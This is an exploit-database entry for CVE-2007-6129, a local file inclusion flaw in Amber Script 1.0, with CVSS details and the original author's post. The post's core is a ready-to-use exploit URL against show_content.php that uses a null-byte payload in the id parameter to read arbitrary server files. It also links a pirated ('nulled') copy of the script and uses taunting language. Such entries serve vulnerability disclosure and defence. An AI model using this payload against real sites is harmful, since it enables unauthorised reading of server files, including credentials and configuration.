Amber Script 1.0 (show_content.php id) Local File Inclusion Vulnerability

2007-11-26 / 2007-11-27
Credit: Crackers_Child
Risk: Medium
Local: No
Remote: Yes
CVE: CVE-2007-6129
CWE: CWE-20


CVSS Base Score: 5.8/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: None

______________________________________________By Crackers_Child___________________________________________+ * * * [~] Script.......: Amber Script 1.0 * [~] Download.....: http://rapidshare.com/files/54891799/Amber_Script_1.0.rar (Nulled) * [~] Author.......: Crackers_Child | cybermilitan (at) hotmail (dot) com [email concealed] & localexploit (at) hotmail (dot) com [email concealed] * [~] Class........: Local File Inclusion * [~] Demo.........: http://www.script4sale.info/demo/amber/ +_______________________________________________________________________ ________________________________________________+ +_______________________________________________________________________ ________________________________________________+ * * * * * [~] Exploit Lfi...: http://[Taget]/[amber_path]/scripts/include/show_content.php?id=LF? %00 * * +_______________________________________________________________________ ________________________________________________+ [~] iNF0......: F3CK Y0UR simple Lf3 +_______________________________________________________________________ ________________________________________________+ +_______________________________________________________________________ ________________________________________________+ * * * [~] Special Thanx.......: str0ke, BiyoSecurity.Net, SiberSavascilar.com And All F3ckers :) * +_______________________________________________________________________ ________________________________________________+


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top